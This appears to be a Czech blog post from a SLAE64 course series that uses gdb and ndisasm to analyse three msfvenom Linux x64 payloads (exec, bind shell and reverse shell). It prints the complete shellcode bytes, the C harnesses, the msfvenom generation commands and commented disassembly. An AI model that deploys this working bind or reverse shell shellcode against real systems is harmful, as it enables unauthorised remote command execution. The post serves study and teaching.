Analýza vybraných 64bitových MSFvenom shellcodů

V pátém textu této 64bitové série budou analyzovány 3 vybrané shellcody vygenerované pomocí msfvenom pro linux/x64. K analýze bude použito gdb.

Všechny dostupné payloady v msfvenom můžeme vidět pomocí:

  • msfvenom ––list payloads | grep linux/x64

Za účelem analýzy byly vybrány následující payloady:

  • linux/x64/exec
  • linux/x64/shell_bind_tcp
  • linux/x64/shell_reverse_tcp

linux/x64/exec:

Nejdřív ze všeho potřebujeme vědět, jaké jsou požadované nastavení pro vygenerování tohoto shellcodu:

  • msfvenom -p linux/x64/exec ––list-options

Je zde pouze jedno požadované nastavení a to „CMD“. V našem případě použijeme whoami.

Vytvoříme shellcode v C:

  • msfvenom -p linux/x64/exec CMD=whoami -f c

Poté vložíme do C skriptu, spustíme a spočítáme délku shellcodu:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x07\x00"
"\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x56\x57\x48\x89\xe6\x0f"
"\x05";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode-exec.c -o shellcode-exec

Jak můžeme vidět, shellcode funguje. Nyní jej můžeme analyzovat například pomocí GDB:

  • gdb ./shellcode-exec -q -tui
  • set disassembly-flavor intel
  • layout a
  • layout r
  • break *&code
  • run
push 0x3b                             ; syscall 59 = execve()
pop rax                               ; RAX = 59                                                  
cdq                                   ; RDX = 0                                                      
movabs rbx,0x68732f6e69622f           ; "hs/nib/"                                                 
push rbx                              ; push in the stack                                                  
mov rdi,rsp                           ; RDI -> RSP ("hs/nib/")                                                 
push 0x632d                           ; "c-"                                                   
mov rsi,rsp                           ; RSI -> RSP ("c-")
push rdx                              ; RDX = 0                                                  call 0x555555558087                   ; storing the command "whoami" into the stack                                                  
push rsi                              ; RSI -> stack
push rdi                              ; RDI -> stack
mov rsi, rsp                          ; RSI (/bin/bash -c whoami) -> stack                                       
syscall



Můžeme vidět náš string “\x69\x6d\x61\x6f\x68\x77” = “whoami”.

  • echo -ne ‘\x56\x57\x48\x89\xe6’ | ndisasm -b 64 –

linux/x64/shell_bind_tcp:

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x64/shell_bind_tcp –list-options

Je zde pouze jedno povinné nastavení a to „LPORT“.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x64/shell_bind_tcp LPORT=9001 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode-bind.c -o shellcode-bind

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn. Analyzovat jej můžeme například pomocí ndisasm a gdb:

  • msfvenom -p linux/x64/shell_bind_tcp LHOST=127.0.0.1 LPORT=9001 | ndisasm -b 64 –
  • gdb ./shellcode-bind -q -tui
  • set disassembly-flavor intel
  • layout a
  • layout r
  • break *&code
  • run

push byte +0x29              ; = 41
pop rax                      ; syscall = socket()
cdq                          ; RDX = 0
push byte +0x2               ; 
pop rdi                      ; AF_INET = 2
push byte +0x1               ; 
pop rsi                      ; SOCKET_STREAM = 1
syscall                      ; executing syscall socket()
xchg rax, rdi                ; saving results for later use
push rdx                     ; 
mov dword [rsp], 0x29230002  ; Doubleword = 1. port = 9001 (0x2923) 2. AF_INET = 2 (0x02)
mov rsi, rsp                 ; move dword -> RSI
push byte +0x10              ; address length into RDX
pop rdx
push byte +0x31              ; = 49
pop rax                      ; syscall = bind()
syscall                      ; executing syscall bind()
push byte +0x32              ; = 50
pop rax                      ; syscall listen()
syscall                      ; executing syscall listen()
xor rsi, rsi                 ; RSI = 0
push byte +0x2b              ; = 43
pop rax                      ; syscall = accept()
syscall                      ; executing syscall accept()
xchg rax, rdi                ; saving results for later use
push byte +0x3
pop rsi                      ; RSI loop = 3
dec rsi                      ; RSI minus 1 <---------<-------------<-|
push byte +0x21              ; = 33                                  |
pop rax                      ; syscall dup2()                        |
syscall                      ; executing syscall dup2()              |
jne 0x555555558093           ; JNE -> loop to instruction dec rsi >->|
push byte +0x3b              ; = 59
pop rax                      ; syscall execve()
cdq
mov rbx, 0x68732f6e69622f    ; "hs/nib/"
push rbx                     ; 
mov rdi, rsp                 ; RSI -> RDI -> pathname = /bin/sh,0x0  
push rdx                     ; RDX = 0
push rdi
mov rsi, rsp
syscall                      ; executing syscall execve()

mov dword [rsp], 0x29230002  ; Doubleword = 1. port = 9001 (0x2923) 2. AF_INET = 2 (0x02)

RSI Loop

  • Socket():
    • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
      • socket() = 41
    • man socket
      • RAX:
        • socket() = 41
      • RDI:
        • int domain
        • PF_INET = 2
      • RSI:
        • int type
        • SOCK_STREAM = 1
      • RDX:
        • int protocol
        • IPPROTO_IP = 0
  • Bind():
    • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
      • bind = 49
    • man bind
      • RAX:
        • bind() = 49
      • RDI:
        • int sockfd
        • reference to socket (previous storing RAX into RDI)
      • RSI:
        • const struct sockaddr *addr
        • AF_INET => 2
        • Port number => 9001 decimal = 2329 hex => little endian = 0x2923
        • Internet address => 0.0.0.0
        • 0
      • RDX:
        • socklen_t addrlen
        • pointer to location on the stack of the sockaddr struct we are going to create
  • Listen():
    • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
      • listen = 50
    • man listen
      • RAX:
        • listen() = 50
      • RDI:
        • int sockfd
        • reference of stored RDI (socket())
      • RSI:
        • int backlog
        • = 0
  • Accept():
    • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
      • accept = 43
    • man accept
      • RAX:
        • Accept()
      • RDI:
        • int sockfd
        • reference on stored RDI
      • RSI:
        • struct sockaddr *addr = 0
      • RDX:
        • socklen_t *addrlen = 0
  • Dup2():
    • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
      • dup2 = 33
    • man dup2
      • RAX:
        • dup2()
      • RDI:
        • int oldfd
        • already in clientid
      • RSI:
        • int newfd
        • we will need loop for 3x into RSI
        • loop 3,2,1
  • Execve():
    • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
      • execve() = 59
    • man execve
      • RAX:
        • execve = 59
      • RDI:
        • const char *pathname
        • /bin/sh,0x0
      • RSI:
        • const char *const argv[]
        • address of /bin/sh, 0x0000000000000000
      • RDX:
        • const char *const envp[]
        • 0x0000000000000000
  • linux/x64/shell_reverse_tcp:

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x64/shell_reverse_tcp ––list-option

Jsou zde dvě povinné nastavení a to „LPORT“ a „LHOST“.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=9001 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x23\x29\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode-reverse.c -o shellcode-reverse

Jak můžeme vidět na screenu výše, shellcode funguje. Nyní můžeme shellcode analyzovat pomocí gdb:

  • msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=9001 | ndisasm -b 64 –
  • gdb ./shellcode-reverse -q -tui
  • set disassembly-flavor intel
  • layout a
  • layout r
  • break *&code
  • run

push byte +0x29               ; = 41
pop rax                       ; syscall = socket()
cdq                           ; RDX = 0
push byte +0x2                ; 
pop rdi                       ; AF_INET = 2
push byte +0x1                ;
pop rsi                       ; SOCKET_STREAM = 1
syscall                       ; executing syscall socket()
xchg rax,rdi                  ; RDI for later use
mov rcx,0x100007f29230002     ; 100007f = IP 127.0.0.1, 2923 = port 9001, 02 = AF_INET
push rcx                      ; 
mov rsi,rsp                   ; 
push byte +0x10               ;
pop rdx                       ; address length into RDX
push byte +0x2a               ;
pop rax                       ; RAX = 42
syscall                       ; syscall = connect()
push byte +0x3                ; 
pop rsi                       ; RSI = 3
dec rsi                       ; RSI minus 1 <-------<-----<-----|
push byte +0x21               ; = 33                            |
pop rax                       ; syscall dup2()                  |
syscall                       ; executing syscall dup2()        |
jnz 0x27                      ; JNE -> loop to --------->------>|           
push byte +0x3b               ; = 59
pop rax                       ; syscall execve()
cdq                           ; RDX = 0
mov rbx,0x68732f6e69622f      ; = "hs/nib/"
push rbx                      ;
mov rdi,rsp                   ; RSI -> RDI -> pathname = /bin/sh,0x0
push rdx                      ;
push rdi                      ;
mov rsi,rsp                   ;
syscall                       ; executing syscall execve()

100007f = IP 127.0.0.1, 2923 = port 9001, 02 = AF_INET

Connect() = (3, {sa_family=AF_INET, sin_port=htons(9001), sin_addr=inet_addr(“127.0.0.1”)}, 16)

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64